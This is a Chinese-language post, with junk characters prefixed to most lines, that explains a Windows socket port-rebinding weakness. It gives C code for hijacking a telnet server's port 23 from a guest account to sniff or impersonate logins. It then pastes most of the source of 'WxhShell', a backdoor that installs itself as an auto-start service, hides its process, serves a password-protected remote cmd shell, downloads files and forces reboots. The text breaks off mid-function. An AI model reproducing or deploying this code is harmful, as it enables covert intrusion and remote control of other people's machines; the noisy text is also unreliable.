在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RkC?(p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&XN*T.Y` [NC^v.[1[ saddr.sin_family = AF_INET;
9KCnitU <w08p*? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
At.WBa3j%{ CYG'W FvZZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I%pQ2T$; ?c(f6p?% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
G=\rlH]N DlTV1X-^1 这意味着什么?意味着可以进行如下的攻击:
8+ `cv" Pq;1EI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+X.iJ$) ZH.l^'(W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z=n& fsE Bxz{rR0XV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Jd/5Kx \:^$ZBQr<n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
wG19NX( 4W$53LP8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i_f"?X;D >>K)
4HYID 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
yBq4~b~[ P0UMMn\-# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
awo=%vJ& b(K.p? bt #include
mrk Q20D #include
(r:WG!I, #include
[Fjh #include
; N!K/[p= DWORD WINAPI ClientThread(LPVOID lpParam);
x4Eq5"F7} int main()
0jE,=<W0> {
pcm| WORD wVersionRequested;
!0E$9Xon DWORD ret;
4Uz6*IQNl WSADATA wsaData;
(\#j3Y)r BOOL val;
0+M1,?+GfF SOCKADDR_IN saddr;
rJD>]3D 5p SOCKADDR_IN scaddr;
,O $F`0>9A int err;
90teXxg=| SOCKET s;
d.2
SOCKET sc;
C6Dq7~{B int caddsize;
7ug mZO}lL HANDLE mt;
Zo'lvOpyZ DWORD tid;
LBw,tP wVersionRequested = MAKEWORD( 2, 2 );
N f1) 5 err = WSAStartup( wVersionRequested, &wsaData );
A~O
'l&KB if ( err != 0 ) {
In:h %4> printf("error!WSAStartup failed!\n");
$kkdB,y return -1;
F1gDeLmJ }
kax9RHvku saddr.sin_family = AF_INET;
<&b ~(f V|<qO-#. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
';zLh ?Q:se saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/vSFQ}W saddr.sin_port = htons(23);
]qhVxeUm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*)g*5kKN {
]!0 BMZmf printf("error!socket failed!\n");
v;jrAND return -1;
u&r@@p. }
5as';1^P&* val = TRUE;
HwM:bY
N //SO_REUSEADDR选项就是可以实现端口重绑定的
>/
HC{.k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(f
$Y0;v>} {
E8#y9q printf("error!setsockopt failed!\n");
>p2v"X X return -1;
)bPwB.} kq }
P@
1D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,Ad\! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$aG]V-M> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|`_TVzA 9S.R%2xw` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kZSe#'R's {
.oAg
(@^6 ret=GetLastError();
&=@R, printf("error!bind failed!\n");
(#\3XBG return -1;
5j,)}AYO }
.J&~u0g listen(s,2);
",Ek| z while(1)
//K]zu {
!Z<Z"R/ caddsize = sizeof(scaddr);
w[:5uo( //接受连接请求
ra$_#HY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u\smQhQGE if(sc!=INVALID_SOCKET)
[sACPn$f {
{l\v J#r: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kd!f/'E! if(mt==NULL)
i|.!*/qF {
^
chlAQz( printf("Thread Creat Failed!\n");
e>sr)M break;
9Ni$nZN }
Ho\K
%#u }
e[>(L% QV+ CloseHandle(mt);
3)__b:7J }
QBai;p{ closesocket(s);
.:l78>f WSACleanup();
.Uha %~% return 0;
aH,0+ | }
lt5~rH2 DWORD WINAPI ClientThread(LPVOID lpParam)
ag[ yM {
khc5h^0 SOCKET ss = (SOCKET)lpParam;
Zff-Hl SOCKET sc;
9FH=Jp unsigned char buf[4096];
93[`1_q7\ SOCKADDR_IN saddr;
LOR$d^l long num;
^Q2K0'm5 DWORD val;
?HZ+fS,- DWORD ret;
:%!=Ej.J //如果是隐藏端口应用的话,可以在此处加一些判断
)k0bP1oGS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/HI#8 saddr.sin_family = AF_INET;
SYa!IL-B saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2R:['QT saddr.sin_port = htons(23);
_EjS(.e/= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/`:5#O {
O:p~L`o>> printf("error!socket failed!\n");
AkT_ZU> return -1;
m'z <d }
+% '0; val = 100;
g&riio7lx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T~`m'4"+c {
tUz!]P2BUO ret = GetLastError();
-%%2Pz0I return -1;
N@;6/[8 }
r|?2 @VE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[eG- &u {
e?RHf_d3T- ret = GetLastError();
1u)I}"{W> return -1;
b3y@!_'c }
]*I&104{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QP[w{T {
Ms^,]Q1{ printf("error!socket connect failed!\n");
-L1{0{Z closesocket(sc);
N ?0V0B closesocket(ss);
#sAEIk/ return -1;
{.Nt#l }
wzP>Cq while(1)
_g$6vx& {
u_zp?Nc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DQKhR sC //如果是嗅探内容的话,可以再此处进行内容分析和记录
0m51nw~B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wQ4/eQ* num = recv(ss,buf,4096,0);
L!-T`R8'c if(num>0)
iMJ jWkk send(sc,buf,num,0);
/38^N|/Zr else if(num==0)
bWjW_$8 break;
Y~fds#y0 num = recv(sc,buf,4096,0);
m|=/|Hm if(num>0)
A!goR-J] send(ss,buf,num,0);
'.d el7s else if(num==0)
)6IO)P/Q~ break;
$I>.w4G} }
*J~N closesocket(ss);
M2vYOg`t:c closesocket(sc);
b
s:E`Q return 0 ;
tb{l(up/a }
VY Va8[} >`8i=ZpCOS %'k^aqFL ==========================================================
QTtcGU v34XcA 下边附上一个代码,,WXhSHELL
z/6eP`jj ),dXaP[ ==========================================================
u=
!?<Q l9#M`x9 #include "stdafx.h"
8]'qJ;E2 Pou`PNvH #include <stdio.h>
Z?CmD;W #include <string.h>
iI&J_Y{1a_ #include <windows.h>
E3;[*ve #include <winsock2.h>
Lc0^I<Y #include <winsvc.h>
lUUeM\ #include <urlmon.h>
'SvYZ0ot 9.D'! #pragma comment (lib, "Ws2_32.lib")
2c_#q1/Z/ #pragma comment (lib, "urlmon.lib")
()= ]rXRon=' #define MAX_USER 100 // 最大客户端连接数
I[@}+p0 #define BUF_SOCK 200 // sock buffer
QcIa%lf #define KEY_BUFF 255 // 输入 buffer
YPFjAQ _{C:aIl[2 #define REBOOT 0 // 重启
50uNgLs #define SHUTDOWN 1 // 关机
\h,S1KmIBD aj|I[65 #define DEF_PORT 5000 // 监听端口
1^b-J0 ^e8~eL+ #define REG_LEN 16 // 注册表键长度
+tES:3Pi #define SVC_LEN 80 // NT服务名长度
L6J=m#Ld Iyz} ;7yVI // 从dll定义API
7%V2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M(0:>G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m}'kxZTOm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
oV&AJ=|\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v<HhB.t. HYZ94[Ti // wxhshell配置信息
5BN!uUkm+ struct WSCFG {
#t>w)`bA- int ws_port; // 监听端口
v\'Eo*4 char ws_passstr[REG_LEN]; // 口令
r**u=q%p int ws_autoins; // 安装标记, 1=yes 0=no
!X
e char ws_regname[REG_LEN]; // 注册表键名
TG=) KS char ws_svcname[REG_LEN]; // 服务名
`lRZQ:27X char ws_svcdisp[SVC_LEN]; // 服务显示名
F%UyFUz char ws_svcdesc[SVC_LEN]; // 服务描述信息
N~=p+Ow[H char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ts<5%{M( int ws_downexe; // 下载执行标记, 1=yes 0=no
C C;T[b& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PeEC|&x char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=EA*h_"q9 W`*S?QGzl@ };
,JYvfCA 4@&8jZ)a // default Wxhshell configuration
'j 'bhG struct WSCFG wscfg={DEF_PORT,
{F+7> X "xuhuanlingzhe",
}q^M 1,
`b=?z%LuT "Wxhshell",
W>.KV7 "Wxhshell",
/bjyV]N "WxhShell Service",
_?x*F?5= "Wrsky Windows CmdShell Service",
b%IRIi&, "Please Input Your Password: ",
m-xSF]q=< 1,
PO%Z.ol9 "
http://www.wrsky.com/wxhshell.exe",
,edX;`# "Wxhshell.exe"
8$xd;+`y' };
)$p<BL U &^=6W3RD // 消息定义模块
xc7Wk&{= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K;a]+9C char *msg_ws_prompt="\n\r? for help\n\r#>";
fI9 TzpV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b) "bX} char *msg_ws_ext="\n\rExit.";
a/A$
MXZ_ char *msg_ws_end="\n\rQuit.";
Q*u4q-DE char *msg_ws_boot="\n\rReboot...";
%JF.m$- char *msg_ws_poff="\n\rShutdown...";
iG( )"^G char *msg_ws_down="\n\rSave to ";
L #c*) h;?=:( char *msg_ws_err="\n\rErr!";
:Q@=;P2 char *msg_ws_ok="\n\rOK!";
fs_6`Xt r`Y[XzT9 char ExeFile[MAX_PATH];
:y^0]In int nUser = 0;
?:73O`sX: HANDLE handles[MAX_USER];
sOQF_X(.x int OsIsNt;
8@pY:AY -T3 z@k SERVICE_STATUS serviceStatus;
BV_rk^}Ur SERVICE_STATUS_HANDLE hServiceStatusHandle;
ye!}hm=w //T1e7) // 函数声明
/R\]tl#2j int Install(void);
@AET.qGC int Uninstall(void);
GG@GjP<_ int DownloadFile(char *sURL, SOCKET wsh);
B7HNNX int Boot(int flag);
ntK#7(U' void HideProc(void);
.hO) R. int GetOsVer(void);
H&Jp,<\x int Wxhshell(SOCKET wsl);
WxO2 void TalkWithClient(void *cs);
|-t>_+. J' int CmdShell(SOCKET sock);
_nW{Q-nh int StartFromService(void);
{BB#Bh[ int StartWxhshell(LPSTR lpCmdLine);
_gDEIoBp `P/7Mf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5M6`\LyU VOID WINAPI NTServiceHandler( DWORD fdwControl );
9C9>V] 3Ov? kWFO // 数据结构和表定义
tgeX~. SERVICE_TABLE_ENTRY DispatchTable[] =
#( G>J4E, {
aLa{zB {wscfg.ws_svcname, NTServiceMain},
kC:GEY<N:Q {NULL, NULL}
O.OPIQ=?:w };
]rk8Jsg y*ux7KO // 自我安装
C(/{53G( int Install(void)
m+&)eQ: {
~\HGV+S!g} char svExeFile[MAX_PATH];
N_<wiwI< HKEY key;
bp"@vlv strcpy(svExeFile,ExeFile);
W`auQO cPu<:<F[ // 如果是win9x系统,修改注册表设为自启动
0i%r+_E_ if(!OsIsNt) {
SbrKNADH% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9*`(*>S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9&]g2iT P RegCloseKey(key);
%<[?; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m3Ma2jLWC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!mX-g]4E RegCloseKey(key);
2GRL`.1 return 0;
MLVrL r t }
1dsMmD[O }
$Sg5xkV,a }
{|:ro!& else {
@ ={Hx$zL j_w"HiNBA // 如果是NT以上系统,安装为系统服务
i6Zsn#Z7) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_d<xxF^q if (schSCManager!=0)
O4Z_v%2M {
qGezmkNFm SC_HANDLE schService = CreateService
'#Yqs/V (
_'OXrT#Q schSCManager,
}wY6^JF wscfg.ws_svcname,
Lt|'("($* wscfg.ws_svcdisp,
:oN$w\A SERVICE_ALL_ACCESS,
jEaU; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/^Ckk SERVICE_AUTO_START,
(j>a?dKDS SERVICE_ERROR_NORMAL,
XXwe/>J svExeFile,
mT:Z!sS NULL,
x~;1CB NULL,
%t.L;G NULL,
cZVVJUF NULL,
+c&oF,=}!P NULL
] x12_+ );
'=eG[#gy if (schService!=0)
lxVA:tz0 {
APR"%(xD# CloseServiceHandle(schService);
hv4om+ CloseServiceHandle(schSCManager);
B:?MMXB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
cUB+fH<B2 strcat(svExeFile,wscfg.ws_svcname);
>^odV
;^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=uG}pgh0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
BNj@~uC{ RegCloseKey(key);
4ju=5D]; return 0;
7~f"8\ }
,\]`X7r }
JI5%fU%O#n CloseServiceHandle(schSCManager);
k/lU]~PE }
39!$x[ }
;5cN
o& ZUg~8VVe return 1;
Q)lN7oD }
mBtXa|PJ |``rSEXYs // 自我卸载
L9"yQD^R7? int Uninstall(void)
%k+G-oT5 {
:b~5nftr HKEY key;
wR(>'? z\F#td{ r if(!OsIsNt) {
$F#eD0| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#uc9eh}CWO RegDeleteValue(key,wscfg.ws_regname);
j92X"yB RegCloseKey(key);
d~hN`ff if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Vs"1:gi& RegDeleteValue(key,wscfg.ws_regname);
\H&8.<HJ RegCloseKey(key);
dm(Xy'*iQ return 0;
OZSM2 ~ }
c04;2gR }
;1[a*z<l&s }
$yoIz.?V else {
&%=]lP] *mVQN1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s^vw]D if (schSCManager!=0)
y'
r I1eF {
4S7#B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S
A\_U::T if (schService!=0)
azCod1aL{ {
m|by^40A( if(DeleteService(schService)!=0) {
pl4:>4l/ CloseServiceHandle(schService);
Tu[I84 CloseServiceHandle(schSCManager);
C"
2K U* return 0;
g^mnYg5 }
SJai<>k h CloseServiceHandle(schService);
~!iZn }
t(.jJ>|+* CloseServiceHandle(schSCManager);
<aRsogu"P }
x o{y9VS }
s~tZN s9\N{ar# return 1;
Hgk@I; }
UNOKK_ ;x|LB>. // 从指定url下载文件
&e%eIz int DownloadFile(char *sURL, SOCKET wsh)
cAQ_/> {
Vm8rQFCp74 HRESULT hr;
\b6vu^;p char seps[]= "/";
W>'KE:!sp char *token;
K @h94Ni6 char *file;
.`TDpi9OB char myURL[MAX_PATH];
mr[+\
5 char myFILE[MAX_PATH];
v"v-c!k v~AD7k2{8 strcpy(myURL,sURL);
kBlk^=h<:w token=strtok(myURL,seps);
:<
*x G& while(token!=NULL)
8iwH^+h~ {
n5z";:p file=token;
b.#0{*/G token=strtok(NULL,seps);
"">{8 }
}7+`[g zEMZz$Y GetCurrentDirectory(MAX_PATH,myFILE);
\T:*tgU strcat(myFILE, "\\");
!M(3[(Ni strcat(myFILE, file);
{+CBThC send(wsh,myFILE,strlen(myFILE),0);
3jzmiS] send(wsh,"...",3,0);
ClWxL#L6~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
FE4P
EBXvu if(hr==S_OK)
g}gOAN3. return 0;
? \p,s-CR: else
6BY(Y(z return 1;
#J`MR05 @;b @O
_ }
9lR- A2p]BW& // 系统电源模块
?C`&*+ int Boot(int flag)
E06)&tF {
UPGS/Xs]1 HANDLE hToken;
s)-O{5;U TOKEN_PRIVILEGES tkp;
r-'CB Xwz'h;Ks_ if(OsIsNt) {
/1z3Q_M OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r=cm(AHF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9?Q0O\&uP tkp.PrivilegeCount = 1;
OeYZLC( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Rz:1(^oA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{osadXdC if(flag==REBOOT) {
uMb[0-5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=EQaZ8k return 0;
Y0;66bfh} }
3ahbv%y else {
=DsFR9IB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ohlCuH3 return 0;
xDO1gnH% }
w%uM=YmuT }
D^<5gRK? else {
I/k/5 if(flag==REBOOT) {
| h%0)_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
myqQqVW return 0;
)Pj4_$uM }
6|B;C else {
V:h3F7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g..&x]aS( return 0;
qE@H~& }
#``Alh8 }
g=Bge) 1{$=N2U return 1;
eQ80Kf~ }
!vGJ7 _M)J{ {?: // win9x进程隐藏模块
(3
]!ZV void HideProc(void)
n,*E
s/\ {
8!|LJI !D~\uW1b HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/"
6Gh' if ( hKernel != NULL )
Nf1&UgX {
DP08$Iq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hpOK9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7f]O / FreeLibrary(hKernel);
vhz Q.> }
%h4|$ D22jWm2 return;
UYkuz }
VmP5`):?b /ULO#CN?; // 获取操作系统版本
$LHF=tYS int GetOsVer(void)
7i0;Ss* {
Gi Max OSVERSIONINFO winfo;
~M9&SDT/lB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5z@QAQ GetVersionEx(&winfo);
(AswV7aGe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZeE(gtM return 1;
b.mWB`59 else
W&p f%? return 0;
!+Zso& }
mt]50}eK ?(E?oJ)( // 客户端句柄模块
jU!ibs}R3 int Wxhshell(SOCKET wsl)
t6! B {
GK[[e~#u SOCKET wsh;
nna boD struct sockaddr_in client;
^.u
J]k0 DWORD myID;
5@yBUwMSj >e^8fpgSo while(nUser<MAX_USER)
x>[f+Tc {
C3-I5q(V] int nSize=sizeof(client);
tr$d? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Bs';!,= if(wsh==INVALID_SOCKET) return 1;
@i=_y+|d_ F0tx.]uS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
a~A"uLBR if(handles[nUser]==0)
5Tiap8x+< closesocket(wsh);
0khAi|PY else
drd5oZ nUser++;
uYMH5Om+i }
=aCd,4B} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4ad-' Tk:%YS;= return 0;
#bCzWg }
ea6`%,lF~ n+w$'l // 关闭 socket
WlRaD%Q void CloseIt(SOCKET wsh)
#(1R:z\: {
`(VVb@:o closesocket(wsh);
S)W(@R+@4 nUser--;
cW?~]E'< ExitThread(0);
YnW,6U['{g }
eDL0Vw g#r,u5<*? // 客户端请求句柄
~vstuRRST void TalkWithClient(void *cs)
31{)~8 {
C)|#z/" KJCi4O& SOCKET wsh=(SOCKET)cs;
?jHu, char pwd[SVC_LEN];
v.{I^= char cmd[KEY_BUFF];
"J*LR char chr[1];
7YQ689"J6B int i,j;
8rM1kOCf @h)X3X while (nUser < MAX_USER) {
Jk,}3Cr/ Hg`2-
Nl if(wscfg.ws_passstr) {
T74."Lo# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
({9P,
D~2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RxXiSc`^z //ZeroMemory(pwd,KEY_BUFF);
}`D-]/T8. i=0;
gtJCvVj>g while(i<SVC_LEN) {
Ahrtl6@AS rj-Q+rgup // 设置超时
lCK|PY* fd_set FdRead;
"j% L* J) struct timeval TimeOut;
aKk0kC FD_ZERO(&FdRead);
"-A@d&5. FD_SET(wsh,&FdRead);
`!7QegJa" TimeOut.tv_sec=8;
oxJ#NGD TimeOut.tv_usec=0;
^|lG9z%Foy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6M X4h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
SS"Z>talw h f9yK6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
QIu!o,B pwd
=chr[0]; %tZ[wwt
if(chr[0]==0xd || chr[0]==0xa) { ;7bY>zc(w
pwd=0; /*hS0xN*
break; ^9 {r2d&c
} ZY-mUg
i++; V(<(k,8=
} .tt= \R
Su/}OS\R
// 如果是非法用户,关闭 socket THHA~;00YN
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n%I9l]
} ~PiCA
?PDrj/: *
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &ZAc3@l[c
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "MU)8$d
Wm>AR? b
while(1) { *[0)]|r
hnnPi
ZeroMemory(cmd,KEY_BUFF); brClYpp,h
xD4G(]d!
// 自动支持客户端 telnet标准 `]m/za%7
j=0; =*Y=u6?
while(j<KEY_BUFF) { ~R\U1XXyUY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vp..>BMJ
cmd[j]=chr[0]; Wkc^?0p
if(chr[0]==0xa || chr[0]==0xd) { VO+3@d:
cmd[j]=0; egy#8U)Z
break; OvtiFN^s'
} =%R|@lz_x
j++; f f_| 3G
} $-;x8O]u
A3mS Sc6
// 下载文件 kJ:zMVN
if(strstr(cmd,"http://")) { l$eKV(CZ4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 77o&$l,A|
if(DownloadFile(cmd,wsh)) `%Uz0h F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fqS
cf}s
else 2mVLR;s{_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ZXAW~a}
} ~n`G>Oe3
else { \|q.M0
W5a>6u=g,
switch(cmd[0]) { TM?7F2
E?3$ *t
// 帮助 .47tj`L
case '?': { 4Q
FX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %QKRl5RM-
break; "f3KE=cUm
} ?ne!LDlE|
// 安装 wO3K2I]>0
case 'i': { t4CI +fqy
if(Install()) PbN"+q M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+| {O
else ]z_C7Y"4BR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_5PN^J
break; DC8,ns]!y
} 4E.K6=k|=a
// 卸载 Il,^/qvIY
case 'r': { 5,1q%
if(Uninstall()) @dp1bkU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qvhol
else RXU#.=xvy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )./.rtP|4
break; BdZO$ALXL
} M/^kita
// 显示 wxhshell 所在路径 2gb MUdpp
case 'p': { ~TEKxgU
char svExeFile[MAX_PATH];
kN,WB
strcpy(svExeFile,"\n\r"); _Q3Ad>,U
strcat(svExeFile,ExeFile); W mT(>JBO
send(wsh,svExeFile,strlen(svExeFile),0); Al(u|LbQ
break; :i_kA'dl&
} /o=,\kM
// 重启 p$A` qx<M_
case 'b': { 95CCje{o_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); smt6).o
if(Boot(REBOOT)) jboQ)NxT!,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8{Id+Q>Vo,
else { Sk 10"D B/
closesocket(wsh); Z/@%MEU[zl
ExitThread(0); (" +/ :
}
C6`<SW
break; $k&}{c8P
} qg;fh]j%
// 关机 _Ak?i\
case 'd': { n\Y|0\ B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HN*w(bROr
if(Boot(SHUTDOWN)) -j 6U{l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K?o} B
else { 4x
JOPu
closesocket(wsh); 4SqZV
ExitThread(0); %wp#vO-$
} #815h,nP+
break; Rtl;*ZAS
} %Pb 5PIk4
// 获取shell ?>p<!:E!r
case 's': { ZP&"[_
CmdShell(wsh); }Rc8\,
closesocket(wsh); ]'UO]i/
ExitThread(0); U-#t&yjh#
break; &)p/cOiV
} =e)[?{H
// 退出 YJ`[$0mam
case 'x': { b:}`O!UBw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _r}oYs%1
CloseIt(wsh); aO]0|<2
j
break; $z+iB;x
} 1;l&ck-Gg/
// 离开 QJ
ueU%|
case 'q': { Hiz e
m!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x hFQjV?V
closesocket(wsh); xi=qap=S^9
WSACleanup(); X"W%(x`w
exit(1); =$g8"[4
break; w49Wl>M
} )T:{(v7 d`
} 7"r7F#D=G
} X?b]5?K;r
z+1#p.F$@
// 提示信息 }B_n}<tjD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`$:3mb&f
} Wx&AY"J
} Oah}7!a)
Y]b5qguK
return; 8=7u,t
} XQ<2(}]4
n]x4twZ
// shell模块句柄 jz|zq\Eek
int CmdShell(SOCKET sock) LS?hb)7
{ x!q$`zF\\
STARTUPINFO si; j?6%=KuX<
ZeroMemory(&si,sizeof(si)); !cLX1S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pN&Dpz^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
Nora<
PROCESS_INFORMATION ProcessInfo; IR>^U
char cmdline[]="cmd"; Wn24eld"x
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E/ (:\Cm^
return 0; 'oHtg
@
} Qg?^%O'
DJrE[wI
// 自身启动模式 SMgf(N3]
int StartFromService(void) :SSe0ZZ_6b
{ DI9x]CR
typedef struct ;,Sl+)@h
{ V_!hrKkL
DWORD ExitStatus; Gy
'l; 2
DWORD PebBaseAddress; 1c,$D5#
DWORD AffinityMask; ,g{`M]Ov
